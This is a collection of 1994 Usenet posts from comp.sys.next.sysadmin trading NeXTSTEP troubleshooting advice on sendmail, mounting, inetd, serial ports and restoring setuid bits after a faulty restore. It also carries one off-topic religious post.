Date: 13 Jan 1994 00:47:42 GMT
Organization: NeXT, Inc.
Distribution: world
Message-ID: <2h25ne$a3u@rosie.next.com>
References: <9401102339.AA02280@statnextm.lakes.trenton.sc.us>
In article <9401090429.AA01258@statnextm.lakes.trenton.sc.us>
wisem@statnextm.lakes.trenton.sc.us (Morgan D. Wise) writes:
> Hello,
>
> I have recently set up a UUCP connection on my NeXTstation at home.
> Everything seems to function but there is an annoying problem.
> Whenever I send or receive mail, there is a long delay which shows in
> the mqueue file as follows:
>
>
> Jan 7 18:08:36 statnextm sendmail[692]: AA00692: from=lakes!mlh,
> size=788, class=0, received from local
> Jan 7 18:18:00 statnextm sendmail[696]: AA00692: to=wisem,
> delay=00:09:24, stat=Sent
Maybe you've got sendmail set to check the queue every 10 minutes or so
(based on the delay times you posted 18:08:36 & 18:18:00). You can
decrease or increase this value in the rc file, and in the sendmail config
file. I suspect In /etc/rc:
if [ -f /usr/lib/sendmail ]; then
/usr/lib/sendmail -bd -q10m 2>/dev/console && \
(echo -n ' sendmail') >/dev/console
and in the sendmail config file:
# read timeout for SMTP protocols
Or15m
These can be decreased, but it isn't advised. Rather, you should force
mail to be sent with:
/usr/lib/sendmail -q -v
and UUCP polling with
uucico -r1 -x4 -ssystemtoconnectto
-=-=-=-=
Dan
/ On my personal time, unaffiliated with NeXT /
From: max@Kolmogorov.gac.edu (Max Hailperin)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Removable Media Ownership
Date: 17 Jan 94 09:35:50
Organization: Gustavus Adolphus College, St. Peter, MN
Distribution: world
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References: <2h26l3$1db@nermal.cs.uoguelph.ca> <2h80tt$ce2@usenet.rpi.edu>
In-reply-to: gad@eclipse.its.rpi.edu's message of 15 Jan 1994 06:02:37 GMT
In article <2h80tt$ce2@usenet.rpi.edu> gad@eclipse.its.rpi.edu
(Garance A. Drosehn) writes:
...
Also, it is not a question of removable media. It's a question of
how the drive is mounted. If the automounter mounts something
(*anything*), then you'll get this behavior. If the mount command
is used (usually via /etc/fstab for hard drives), then the real
information will be written to the disk, and reflected in the
file system.
...
As far as I can tell, even this is oversimplified. If you use the
mount command as root, then yes, you see the real ownership. However,
if you use the mount command as a normal mortal user, then you see
yourself as the owner of everything, just like with the automounter.
From: kiwi@cs.tu-berlin.de (Axel Habermann)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Indexing WriteNow-Files
Date: 17 Jan 1994 16:09:57 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <2hed8l$m1u@news.cs.tu-berlin.de>
References: <9401150101.AA01029@pud> <1994Jan15.143132.947@seer.demon.co.uk>
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paul@seer.demon.co.uk (Paul Lynch) writes:
>In article <9401150101.AA01029@pud> pud!psl@bellcore.bellcore.com (Peter
>Langston) writes:
>> I do have wn-rtf, but I don't have /usr/local/bin/rtf-ascii
>> (which is also required by wn2rtf.service/wn-ascii).
>> Where can I find a copy of rtf-ascii?
>In /usr/bin.
Thanks to Paul for pointing this out. I'm sorry: I checked if rtf-ascii
is included in NeXTSTEP but I forgot to check the path.
Axel
--
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kiwi@belly.in-berlin.de (NeXT Mail) \ | / was Du tust,
FaxFon: +49 30 4543046 \~/ mach's mit Eleganz!"
From: wolfgang@wi.WHU-Koblenz.de (Wolfgang Roeckelein)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
Subject: Eudora Password change daemon
Date: 17 Jan 1994 13:12:09 GMT
Organization: WHU Koblenz
Message-ID: <2he2r9$3om@obelix.WHU-Koblenz.de>
Hello,
has anybody succesfully compiled and installed the Eudora password change
daemon poppassd from roy@nyu.edu on the NeXT?
I have a lot of problems with it.
Thank you in advance for any help in this matter,
Wolfgang
--
Dipl.-Wirtsch.-Inf. Voice: +49 261 6509 173
Wolfgang Roeckelein Fax: +49 261 6509 179
WHU Koblenz E-Mail: roeckelein@wi.whu-koblenz.de
Burgplatz 2 (NeXTmail ok)
D-56179 Vallendar
Germany
From: barmar@think.com (Barry Margolin)
Newsgroups: comp.sys.next.sysadmin,comp.unix.admin,comp.unix.questions
Subject: Re: Improved telnetd anyone?
Date: 17 Jan 1994 17:32:40 GMT
Organization: Thinking Machines Corporation, Cambridge MA, USA
Message-ID: <2hei3oINNlmh@early-bird.think.com>
References: <2hbou9$63s@news.intercon.com> <2hdefdINNl3s@rodan.UU.NET>
In article <2hdefdINNl3s@rodan.UU.NET> alby@uunet.uu.net (Anthony Williams) writes:
> The program TCP_WRAPPER on info.cert.org will allow or
>deny any telnet's,ftp's,fingers, etc.. from any site you specify
But he asked for something that would work on a per-user basis.
TCP_WRAPPER uses the same allow/deny list for all connections to a port.
--
Barry Margolin
System Manager, Thinking Machines Corp.
barmar@think.com {uunet,harvard}!think!barmar
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From: willers@butp.unibe.ch (Moritz Willers)
Subject: Re: LocalApps on remote disks
Message-ID: <1994Jan17.170605.27596@aragorn.unibe.ch>
Sender: news@aragorn.unibe.ch
Organization: University of Berne, Switzerland
References: <CJqtvD.Csx@well.sf.ca.us>
Date: Mon, 17 Jan 1994 17:06:05 GMT
In article <CJqtvD.Csx@well.sf.ca.us> dav@well.sf.ca.us (Paul Davilon)
writes:
[ problem of getting the external disk mounted to late ... ]
> This is the fstab
>
> /dev/hd0a / 4.3 rw,noquota,noauto 0 1
> /dev/sd0a /vault 4.3 rw,noquota,noauto 0 2
^^^^^^
Leave the noauto out, this is a mistake in the SysAdmin book (says so
somewhere in the release notes) and has been discussed several times in
this group. Maybe it's even in the FAQ.
--
Moritz Willers
Institute for Theoretical Physics
Berne, Switzerland
willers@butp.unibe.ch (NeXTMail)
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From: irving@Happy-Man.com (Irving_Wolfe)
Subject: Can't Net-Boot
Message-ID: <1994Jan17.175114.18947@Happy-Man.com>
Organization: Happy Man Corp, 4410 Pt Robinson, Vashon, WA 98070 206/463-9399
Date: Mon, 17 Jan 1994 17:51:14 GMT
I used to be able to net-boot our machines when doing so was
convenient for servicing them (reformatting the hard disk, making
the machine usable without one, etc.).
When I tried to do this recently, it didn't work. It started to
work, but before anything useful could be done, as soon as the
boot was complete a million error messages went by fast in the
little panic window, and the machine panicked.
Does anyone have any idea what I might be doing wrong? Is is
possible that older machines cannot be net-booted under 3.2?
Thanks for any help.
- Irving
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From: lusty@lusty.tamu.edu (Lusty Wench)
Newsgroups: comp.sys.next.sysadmin
Subject: comsat?
Date: 17 Jan 1994 19:49:37 GMT
Organization: Me
Message-ID: <2heq4h$enn@news.tamu.edu>
This weekend I started getting a lot of processes showing up in
my process list and I can't figure out why they're showing up.
They're listed as either comsat or (comsat). The man pages say
that this is related to biff, but I don't think I've changed
anything that would make these processes show up all of a sudden.
They appear to stick around until I kill them, and there doesn't
seem to be any effect when I do kill them. Does anybody know
what's creating them and why?
Lusty
From: devans@uoguelph.ca (David F Evans)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Removable Media Ownership
Date: 17 Jan 1994 21:21:21 GMT
Organization: University of Guelph
Distribution: world
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References: <2h26l3$1db@nermal.cs.uoguelph.ca> <2h80tt$ce2@usenet.rpi.edu> <MAX.94Jan17093550@Kolmogorov.gac.edu>
Didn't eralise that I asked such a complex question...thanks for all the
answers.
=============================================================================
David Evans devans@snowhite.cis.uoguelph.ca
Computer/Synth Junkie (NeXTMail OK)
University of Guelph "Default is the value selected by the
Guelph, Ontario, Canada composer overridden by your command."
- Roland TR-707 Manual
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From: jpw@sansfoy.lib.virginia.edu (John Price-Wilkin)
Subject: gopherd on NSI (problem setting for port 70)
Message-ID: <CJsnp8.F9@murdoch.acc.Virginia.EDU>
Sender: usenet@murdoch.acc.Virginia.EDU
Organization: University of Virginia
Date: Mon, 17 Jan 1994 21:58:20 GMT
I've compiled the gopherd for NSI and am having a strange problem
getting it to run at port 70. I did add gopher to the NetInfo
services (for port 70 and tcp). I do have entries in the
inetd.conf and services. This is something that I've set up
several times on NeXTs and RS/6000s. Here's a little of the
diddling I did to try to find out what's wrong:
(1) try another directory? Yes, several directories, all without luck.
(2) try another user (am using -c -u username)? Yes, several
(3) try another port? Yes, and was successful with all of the
directories and user names that failed above, so e.g.,
gopherd -c -u me /gopher-data/pub 2001
works swell
(4) try without "-I" and inetd? Yes. Though I'm trying to run
it from inetd, I figured it's worth a try executing it after
startup and tried, as above, with port 70. Even after I turned
off that service in the services/inetd.conf, it didn't work;
incidentally, in the above I did SIGHUP inet and even restarted
the machine
Any suggestions will be appreciated.
John Price-Wilkin
jpw@virginia.edu
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From: kinch@valve.heart.rri.uwo.ca (Dave Kinchlea)
Subject: /bin/strip --- does it exist in 3.2?
Organization: Heart Valve Group, John P. Robarts Research Institute, London, Ont. Canada
Distribution: uwo
Date: Mon, 17 Jan 1994 18:18:54 GMT
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Howdy
As previously mentioned, I am building a Boot Floppy for NS
3.2. The work has been done and a (minimal) boot floppy has been
created. To make room, I had to strip libsys_s.B.shlib. To my
surprise, however, /bin/strip was not loaded on my system. My
question: Did I goof when upgrading to 3.2 from 3.0? or has NeXT
REALLY dropped /bin/strip for some reason? I would like to know this
so that I can include the proper instructions (and /bin/strip from 2.1
if necessary) for the new BootFloppy tar file.
cheerskinch
From: clarence@orion.cc.andrews.edu (Clarence L. Thomas IV)
Newsgroups: comp.sys.next.sysadmin
Subject: Global Alert For All: Jesus is Coming Soon
Date: 17 Jan 1994 19:43:57 -0500
Organization: Andrews University, Berrien Springs, MI, 49104
Distribution: world
Message-ID: <2hfbcd$9oi@orion.cc.andrews.edu>
The earthquake in Los Angeles, California, the flood in Europe, the seemingly
unstoppable war in the former Yugoslavia, the devastating fires in Australia,
the flood in the Midwest of the United States of America, the devastating fires
near Los Angeles, California, the rapid and appalling increase in violence in
cities, towns, villages all over the world, the famines, the diseases, the rapid
decline of the family unit, and the destructive earthquake in India (in 1993)
are signs that this world's history is coming to a climax. The human race
has trampled on God's Constitution, as given in Exodus 20:1-17 (King James
Version Bible), and Jesus is coming to set things right. These rapidly
accelerating signs are an indication that Jesus is coming soon (Matthew 24).
God's Holy Spirit is gradually withdrawing its protection from the earth
and the devastating events you see are demonstrations of Satan's power. All
those who are not guarded by God are in danger of forever losing eternal life.
If you want to know what's about to happen, please study the books of Daniel
and Revelation which are located in God's Word, the Bible. They are not
sealed or closed books. They can and must be understood by all. Every word
in the Bible from Genesis to Revelation is true. The Bible and the Bible only
must be your guide.
When God's Law (the Constitution for the Universe) is consistently ignored,
disregarded, changed, and questioned, He permits certain events to occur to
wake us up. I would urge all, wherever you are and regardless of the
circumstances, to directly call on Jesus and ask Him to intervene in your life.
Jesus who created this planet and every living creature in it and on it, died
on the cross, was raised from the dead by God the Father, and is now in Heaven
interceding for you. Jesus is the only One who can rescue us from the slavery,
misery, and death Satan is causing us.
For reference I'm including God's Constitution as given in the King James
Version Bible. Please note that when God says the seventh day, he means Sabbath
(the 7th day of the week) not Sunday (1st day of the week).
Commandment #1: Exodus 20:1-3 (KJV) And God
spake all these words, saying, I am
the LORD thy God, which have brought
thee out of the land of Egypt, out
of the house of bondage. Thou shalt have
no other gods before me.
Commandment #2: Exodus 20:4-6 (KJV) Thou shalt not make
unto thee any graven image, or any
likeness of any thing that is in heaven
above, or that is in the earth beneath,
or that is in the water under the earth.
And shewing mercy unto thousands of them
that love me, and keep my commandments.
Commandment #3: Exodus 20:7 (KJV) Thou shalt not take
the name of the LORD thy God in vain;
for the LORD will not hold him
guiltless that taketh his name in vain.
Commandment #4: Exodus 20:8-11 (KJV) Remember the sabbath
day, to keep it holy. Six days shalt thou
labour, and do all thy work: But the
seventh day is the sabbath of the LORD
thy God: in it thou shalt not do any
work, thou, nor thy son, nor thy daughter,
thy manservant, nor thy maidservant, nor
thy cattle, nor thy stranger that is
within thy gates: For in six days the
LORD made heaven and earth, the sea, and
all that in them is, and rested the seventh
day: wherefore the LORD blessed the sabbath
day, and hallowed it.
Commandment #5: Exodus 20:12 (KJV) Honour thy father and thy
mother: that thy days may be long upon the
land which the LORD thy God giveth thee.
Commandment #6: Exodus 20:13 (KJV) Thou shalt not kill.
Commandment #7: Exodus 20:14 (KJV) Thou shalt not commit
adultery.
Commandment #8: Exodus 20:15 (KJV) Thou shalt not steal.
Commandment #9: Exodus 20:16 (KJV) Thou shalt not bear
false witness against thy neighbour.
Commandment #10: Exodus 20:17 (KJV) Thou shalt not covet
thy neighbour's house, thou shalt not
covet thy neighbour's wife, nor his
manservant, nor his maidservant, nor
his ox, nor his ass, nor any thing that
is thy neighbour's.
I also recommend that the following books be obtained and closely studied:
The Great Controversy
By Ellen G. White
Review and Herald Publishing Association
Hagerstown, MD 21740
The Desire of the Ages
By Ellen G. White
Review and Herald Publishing Association
Hagerstown, MD 21740
Patriarchs and Prophets
By Ellen G. White
Review and Hearld Publishing Association
Hagerstown, MD 21740
Daniel and the Revelation
By Uriah Smith
Review and Herald Publishing Association
Hagerstown, MD 21740
-------
Clarence L. Thomas IV
Phone: 616-471-6116
E-mail: thomas@redwood.cc.andrews.edu
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From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: /bin/strip --- does it exist in 3.2?
Message-ID: <1994Jan17.235611.2692@seer.demon.co.uk>
Sender: paul@seer.demon.co.uk
Organization: P & L Systems
References: <1994Jan17.181854.12830@julian.uwo.ca>
Distribution: uwo
Date: Mon, 17 Jan 1994 23:56:11 GMT
In article <1994Jan17.181854.12830@julian.uwo.ca>
kinch@valve.heart.rri.uwo.ca (Dave Kinchlea) writes:
> Howdy
> As previously mentioned, I am building a Boot Floppy for NS
> 3.2. The work has been done and a (minimal) boot floppy has been
> created. To make room, I had to strip libsys_s.B.shlib. To my
> surprise, however, /bin/strip was not loaded on my system. My
> question: Did I goof when upgrading to 3.2 from 3.0? or has NeXT
> REALLY dropped /bin/strip for some reason? I would like to know this
> so that I can include the proper instructions (and /bin/strip from 2.1
> if necessary) for the new BootFloppy tar file.
strip is still there. Could it be in just developer, if/and you only have
user 3.2 installed?
Paul
--
Paul Lynch
P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
From: edmtl@alf.uib.no (Thor Legvold)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
Subject: Elementary help with .login file
Date: 18 Jan 1994 03:15:51 +0100
Organization: University of Bergen
Message-ID: <2hfgon$c9b@alf.uib.no>
Simple question:
why does printenv give the complete environment as specified
in .login (through among other things setenv commands) when I
use tcsh, but not when I use csh. Both are configured to source
.login at startup. csh responds correctly if I type them in
one by one to a new shell, but doesn't seem to see them in
.login. What could cause this? (I'm using '#' as comment
character in .cshrc and .login, I don't think that's the problem)
e-mail replies.
Regards,
--
Thor Legvold | This is the strangest life
NorNeXT User Group leader | I've ever known...
University of Bergen | - Jim Morrison, The Doors
Norway | edmtl@fiol.uib.no (NeXTmail)
From: edmtl@alf.uib.no (Thor Legvold)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
Subject: Error 11: segmentation fault and other one-liners
Date: 18 Jan 1994 03:21:44 +0100
Organization: University of Bergen
Message-ID: <2hfh3o$cdb@alf.uib.no>
like for example Signal 10: Bus error.
I finally got the "vanilla" C program to run (upgraded from
3.0J to 3.2, compiled and installed ncurses, commented out
small pieces of code) and it even seems to work, except that
it crashes more often than I do - a Bad Thing (tm).
Are there specific routines these two errors could be traced
back to that I should look at in the original? The program
is a database for genealogical information, and runs in a
terminal window with the help of ncurses. Would it be just
as good to make a NeXT GUI for it and just "put the code in
where it belongs", or am I over-simplifying things...?
I cannot rely on buggy programs for my valuable data, and
hope to fix the problems mentioned above.
Please e-mail replies.
Regards,
--
Thor Legvold | This is the strangest life
NorNeXT User Group leader | I've ever known...
University of Bergen | - Jim Morrison, The Doors
Norway | edmtl@fiol.uib.no (NeXTmail)
From: gad@eclipse.its.rpi.edu (Garance A. Drosehn)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: DBKit server options
Date: 18 Jan 1994 05:52:05 GMT
Organization: Rensselaer Polytechnic Institute, Troy NY, USA
Distribution: world
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References: <m0pKVcD-000JHCC@oa.guild.org>
mark@oa.guild.org (Mark Onyschuk) writes:
> What is the lowest cost option among Oracle, Sybase, or other SQL
> servers for a NEXTSTEP Database Kit (i.e. an adaptor must be
> available for the product) application requiring 6-10 seats?
I don't know the costs of any of the mainstream DBMS servers.
There's a company called SofDesign Solutions which has an SQL
database engine (ie, includes the server) called QuickBase.
There is a DBKit adaptor for QuickBase, though I haven't used
the adaptor.
The cost would be (around) $2K for an application which needed
to have 9 *simultaneous* connections. They tend to charge by
groups of 3 simultaneous connections, so if you needed more
than 9 then you'd pay around $2.5K to support 12 connections.
I was fine with just 3 users, and that's only $700 or so.
You should send a message to sdc@gun.com for the real details
on the product. I only use it for some personal databases, so
I don't pay much attention to the "number of users" issue. My
price information may also be out of date, and it's only approx
anyway.
Disclaimer: I'm an aquantaince of the guy who started SofDesign,
but other than that I have no connection to the company (well,
other than using QuickBase, of course).
--
Garance Alistair Drosehn = gad@eclipse.its.rpi.edu
ITS Systems Programmer (handles NeXT-type mail)
Rensselaer Polytechnic Institute; Troy NY USA
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From: kdburg@incoahe.hanse.de (Klaus Dahlenburg)
Subject: Re: /bin/strip --- does it exist in 3.2?
Message-ID: <CJsqLr.3ps@incoahe.hanse.de>
Organization: Hanse Networking eV., Hamburg; Germany
References: <1994Jan17.181854.12830@julian.uwo.ca>
Distribution: uwo
Date: Mon, 17 Jan 1994 23:01:03 GMT
doing a:
incoahe{kdburg}(1): whereis strip
strip: /bin/strip /usr/man/man1/strip.1
reveals that it is where it should be. But maybe it's part of
the developer package. Did you upgrade that as well ?
Klaus
++EOM+
--
From: briggss@mundania.CS.ORST.EDU (S. Briggs)
Newsgroups: comp.sys.next.sysadmin
Subject: help with "cu" in 3.2 intel
Date: 18 Jan 1994 07:44:09 GMT
Organization: Computer Science Department, Oregon State University
Message-ID: <2hg409INN4tb@flop.ENGR.ORST.EDU>
I'm running NeXTSTEP 3.2 for intel. My modem is on the second serial port,
how do I dialout to another unix box? I've tried cu, but I'm not sure what
device I should be accessing. Could someone email me some examples of what
to do.
Thanks in advance,
-briggss@storm.cs.orst.edu
From: Amit Zavery <az24+@andrew.cmu.edu>
Newsgroups: comp.sys.next.sysadmin
Subject: smake?
Date: Tue, 18 Jan 1994 04:42:02 -0500
Organization: Masters student, Information Networking Institute, Carnegie Mellon, Pittsburgh, PA
Message-ID: <ohCuve_00WB=5GgF1u@andrew.cmu.edu>
Hi everyone,
I am trying to compile something which needs the smake command. Unfortunately
i could not find the smake command on the system I am running on the Next.
Is there anyway of getting smake on the Next?
Regards
--Amit
PS: I dont know much about Next so please bear with me ...
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From: arrouye@petole.imag.fr (Yves Arrouye)
Subject: Making ptroff eject pages at the right position?
Message-ID: <ARROUYE.94Jan18114238@petole.imag.fr>
Sender: news@imag.fr
Organization: LGI-IMAG, Grenoble, France
Date: Tue, 18 Jan 1994 10:42:38 GMT
Hi,
I would like to know if it is possible to force ptroff to eject pages
at the right position, i.e. at the end of a page. I tried to give it
A4 for paper size, and it did not work, nor does a -l 29.7cm option
work (because the length must be an integer size).
Is it possible to obtain a correct behaviour, or does one need to
compile psroff (not the one based on ditroff, the one translating
C/A/T codes)?
Thanks for any help,
Yves.
--
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program does not need the extra flexibility (a lie), Yves.Arrouye@imag.fr
while advocates for the Objective-C school claim that (33) 76 57 48 64
the errors are no problem in practice (another lie). NeXT Mail
From: robm@hpuamsa.neth.hp.com (Rob in der Maur PSO)
Date: Tue, 18 Jan 1994 07:16:48 GMT
Subject: NextStep and full filesystem
Message-ID: <10020001@hpuamsa.neth.hp.com>
Organization: HP-Sales Office-The Netherlands
Newsgroups: comp.sys.next.sysadmin
Hello,
For a short period I got hold of a HP486/66U pc loaded with NextStep 3.1.
Just to experiment with the environment (which I think is the most
sophisticated you can buy at this moment). However I'm experiencing problems
with a full file system.
When the system boots and the GUI is loaded I can see on the opened console
window that the file system is full. Every click on the mouse or press on a
button then results in a NextStep waiting cursor for too long (that means
I think the system doesn't or can't do anything). So I reset the machine and
try to reboot. Same happens.
When I interrupt the file system checking (which evidently is the result of
resetting) I cannot delete files because the file system is made read-only.
How can I get out of this deadly embrace. Is there a way to boot with a
minim system in order to delete some files? Or are there any other solutions.
Please help a.s.a.p., because I would like to get started with NextStep....
Kind regards,
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From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Dump/restore question
Date: 17 Jan 1994 17:33:05 +0100
Organization: Palumbian Research Labs
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mellin@Informatik.TU-Muenchen.DE (Reimer Mellin) writes:
>In article <2hbo7i$luc@charm.magnus.acs.ohio-state.edu>
>Simple Answer: "You lost all your SUID bit settings!!!"
>Interesting part of this that even if you do a:
>dump 0f - | (cd /mnt; restore rf - )
> ^^^
>You wont get the SUID Bits restored correctly, resulting in the described
>behaviour above!
>This is a BIG bug in restore (NS 3.2).
For all folks which already trashed their file system out of a restore
backup attempt, I grep'ed through the installation CD and search for all
files with s-bits. The attached script should fix the worst:
chmod u+s /usr/lib/ex3.7recover
chmod u+s /usr/lib/ex3.7preserve
chmod ug+s /usr/lib/rcssnoop
chmod u+s /usr/lib/sendmail
chmod ug+s /usr/lib/NextPrinter/FaxDaemon
chmod ug+s /usr/lib/NextPrinter/Faxxess
chmod ug+s /usr/lib/NextPrinter/exec_faxes
chmod u+s /usr/lib/Preferences/check_ntpd
chmod u+s /usr/lib/Preferences/set_time_zone
chmod u+s /usr/lib/Preferences/clock_chip
chmod u+s /usr/lib/Preferences/boot_cmd
chmod u+s /usr/lib/Preferences/date
chmod u+s /usr/lib/Preferences/ntp
chmod ug+s /usr/ucb/netstat
chmod u+s /usr/ucb/rcp
chmod u+s /usr/ucb/rdist
chmod u+s /usr/ucb/rlogin
chmod u+s /usr/ucb/rsh
chmod g+s /usr/ucb/sysline
chmod g+s /usr/ucb/talk
chmod u+s /usr/ucb/traceroute
chmod u+s /usr/ucb/w
chmod u+s /usr/ucb/uptime
chmod u+s /usr/bin/at
chmod u+s /usr/bin/atrm
chmod u+s /usr/bin/atq
chmod u+s /usr/bin/iostat
chmod u+s /usr/bin/newaliases
chmod u+s /usr/bin/mailq
chmod g+s /usr/bin/pmem
chmod g+s /usr/etc/arp
chmod g+s /usr/etc/dmesg
chmod g+s /usr/etc/dump
chmod ug+s /usr/etc/rdump
chmod g+s /usr/etc/kgmon
chmod u+s /usr/etc/ping
chmod g+s /usr/etc/vmoprint
chmod g+s /usr/etc/nfsstat
chmod ug+s /usr/etc/autoNetWaremount
chmod u+s /usr/filesystems/DOS.fs/DOS.util
chmod u+s /usr/filesystems/CDROM.fs/CDROM.util
chmod u+s /usr/filesystems/mac.fs/mac.util
chmod u+s /usr/filesystems/cdaudio.fs/cdaudio.util
chmod u+s /usr/netware/etc/nucmessaged
chmod u+s /NextDeveloper/Demos/CDPlayer.app/CDPlayer
chmod u+s /NextDeveloper/Demos/Zilla.app/ZillaMaster
chmod g+s /bin/df
chmod u+s /bin/login
chmod u+s /bin/mail
chmod u+s /bin/passwd
chmod u+s /bin/ps
chmod u+s /bin/su.nowheel
chmod g+s /bin/wall
chmod g+s /bin/write
chmod u+s /NextAdmin/BuildDisk.app/BuildDisk
chmod u+s /NextAdmin/SimpleNetworkStarter.app/SimpleNetworkStarter
chmod u+s /NextAdmin/HostManager.app/HostManager
chmod u+s /NextAdmin/NetWareManager.app/NetWareManager
chmod u+s /NextAdmin/NFSManager.app/ExportsHelper
chmod u+s /NextAdmin/UserManager.app/UserManager
chmod u+s /NextAdmin/Configure.app/Configure
chmod ug+s /NextApps/PrintManager.app/PrintManager
chmod u+s /NextApps/Terminal.app/Terminal
Hope that helps,
Markus.
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From: jpw@sansfoy.lib.virginia.edu (John Price-Wilkin)
Subject: NSI inetd question
Message-ID: <CJty3x.8n3@murdoch.acc.Virginia.EDU>
Sender: usenet@murdoch.acc.Virginia.EDU
Organization: University of Virginia
Date: Tue, 18 Jan 1994 14:40:45 GMT
I've been trying to get a couple of services to start up from the inetd
on NSI. They're gopherd and waisserver. Everything compiles right and
I'm able to start up the gopherd at any port (including the one I'm
trying to use from inetd) after the fact. However, even though
I've registered the services in NetInfo and have them in the
/etc/services and /etc/inetd.conf, they aren't accessible (and I
believe they don't get started through inetd). I also tried
starting the gopherd service from rc.local and that didn't work
either. I wonder if inetd.conf is being read and likewise if
/etc/rc.local is being read. Is there something peculiar about
the way these (esp. inet) works on NSI? I run these services on
black NeXTs without any problem.
John Price-Wilkin
jpw@virginia.edu
From: sela@iastate.edu (Brian J Morrison)
Newsgroups: comp.sys.next.sysadmin
Subject: HELP, can't login
Date: 18 Jan 1994 15:58:19 GMT
Organization: Iowa State University, Ames, IA
Distribution: world
Message-ID: <2hh0ur$3ao@news.iastate.edu>
I posted this plea a few days ago, but haven't gotten any response yet.
I repost here in an effort to get SOMEBODY to say SOMETHING.
Here's what happened: I was experimenting with LoginHooks and LogoutHooks.
I read in a manual a line you could edit in ttys to add these parameters
to the loginwindow call. Aparently it doesn't like the format of the
programs that I assigned as LoginHooks and LogoutHooks. My machine now boots
to the point of saying that boot is complete, and then hangs. The ttys file
appears to be rtf which complicates things further (I can't just use single
user mode and vi to change it back). The only option I have left is to get
a copy of an unaltered /etc/ttys for NS3.1 black from someone else using ftp.
Could someone please help me here, I'm going crazy without my NeXT.
Brian
sela@iastate.edu
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Brian
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From: jnicolas@whistler.mit.edu (Julien Nicolas)
Newsgroups: comp.sys.next.sysadmin
Subject: Expanding zone kalloc
Date: 18 Jan 1994 16:04:35 GMT
Organization: Massachusetts Institute of Technology, Cambridge, USA
Distribution: world
Message-ID: <JNICOLAS.94Jan18110435@whistler.mit.edu>
Hi Kernel gurus!
From time to time, the following warning messages get sent to the
console:
Expanding zone kalloc.256
Expanding zone kalloc.256
Expanding zone kalloc.256
Expanding zone kalloc.256
Expanding zone kalloc.256
Expanding zone kalloc.256
Expanding zone kalloc.256
Expanding zone kalloc.256
Expanding zone kalloc.256
Expanding zone kalloc.256
Expanding zone kalloc.256
Expanding zone kalloc.256
Expanding zone kalloc.256
Expanding zone kalloc.256
Expanding zone kalloc.256
Expanding zone kalloc.256
Expanding zone kalloc.256
Just wondering what it means / what causes it / whether it implies some sort of
reduced performance.
Cheers
jn
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From: kinch@valve.heart.rri.uwo.ca (Dave Kinchlea)
Subject: Re: /bin/strip --- does it exist in 3.2?
Organization: Heart Valve Group, John P. Robarts Research Institute, London, Ont. Canada
Distribution: uwo
Date: Tue, 18 Jan 1994 15:47:41 GMT
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To followup on my own posting, I have been told, numerous times now
;-(, that /bin/strip is part of the development environment (which I
STILL await the arrival of). I am still not sure what to do for those
who don't have it. Ideas, anyone?
cheerskinch
From: edmtl@alf.uib.no (Thor Legvold)
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin
Subject: Terminal/Stuart 8 bit clean?
Date: 18 Jan 1994 17:37:55 +0100
Organization: University of Bergen
Message-ID: <2hh393$rb5@alf.uib.no>
I'm _sure_ in 2.1 and maybe 3.0J I was able to input and display
8 bit characters (i.e. letters in norwegian alphabet not in ASCII)
with Terminal. Now (3.2) I can't seem to do either in Terminal
or Stuart. Yes, I have set pass8 pass8out. Where else should
I look - this must be something simple I've overlooked...
BTW - anyone know of Emacs versions/patches allowing 8 bit
input and display of "foreign" letters?
Regards,
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NorNeXT User Group leader | I've ever known...
University of Bergen | - Jim Morrison, The Doors
Norway | edmtl@fiol.uib.no (NeXTmail)
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From: rene@rkt.in-berlin.de (Rene Kulschewski)
Subject: Re: How do you mount a dos partition on a 2nd drive?
Message-ID: <CJsEJ6.Fz@rkt.in-berlin.de>
Followup-To: comp.sys.next.sysadmin,comp.sys.next.hardware
Sender: root@rkt.in-berlin.de (Operator)
Organization: Home in Berlin
References: <1994Jan17.065345.879@beaver.cs.washington.edu>
Date: Mon, 17 Jan 1994 18:40:18 GMT
Lucifer Sam (fineman@cs.washington.edu) wrote:
: I've got a 2nd IDE disk set up in my white NS system; I used fdisk to
: partition it, for DOS & NS. Everything initialized & mounted just
: fine for the NS partition, but the dos partition doesn't mount on
: login. I have a small dos partition on the root disk, and that
: automagically mounts on login. The 2nd partition on the 2nd disk is
: formatted & all that.
: I'm suspecting that i'll have to stick a line in my /etc/fstab file,
: but i'm not sure what; any help out there?
try: /usr/etc/mount -t dos /dev/rhd1h /mount_point
in a terminal window.
put: /dev/rhd1h "/mount_point" dos rw 1 2
in /etc/fstab.
Rene
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Date: Tue, 18 Jan 1994 17:03:26 GMT
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From: 0005508785@mcimail.com (ErgoTech Development, Inc.)
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Subject: RE: Global Alert For All: Jesus is Coming Soon
Date: 18 Jan 1994 13:09:53 -0600
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But on the positive side this means that Cairo and Taligent
will never outsell NeXTSTEP.
From: chi@watserv.ucr.edu (Denny Chuang)
Newsgroups: comp.sys.next.sysadmin
Subject: cu* device busy???
Date: 18 Jan 1994 19:32:17 GMT
Organization: University of California, Riverside
Message-ID: <2hhdg1$mnf@galaxy.ucr.edu>
Could someone explain to me what cua or cub device busy? I have a
modem connected to COMM2 on my Intel NS 3.2 machine and I have been
trying to get the communication program to work without any luck!
Thanks for your help!
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From: Robert_La_Ferla@hot.com
Subject: Re: help with "cu" in 3.2 intel
Message-ID: <1994Jan18.181623.4512@hot.com>
Sender: robertl@hot.com
Organization: Hot Technologies
References: <2hg409INN4tb@flop.ENGR.ORST.EDU>
Date: Tue, 18 Jan 1994 18:16:23 GMT
Here's roughly how to do it:
For hardware flow control:
% cu -l /dev/cufa
or for serial port b
% cu -l /dev/cufb
For no flow control:
% cu -l /dev/cua
or for serial port b
% cu -l /dev/cub
Look at the man pages for "cu", "tip", and "zs" for more information.
Robert La Ferla
Hot Technologies
NEXTSTEP ISV (Makers of SerialPortKit and SerialPortServer)
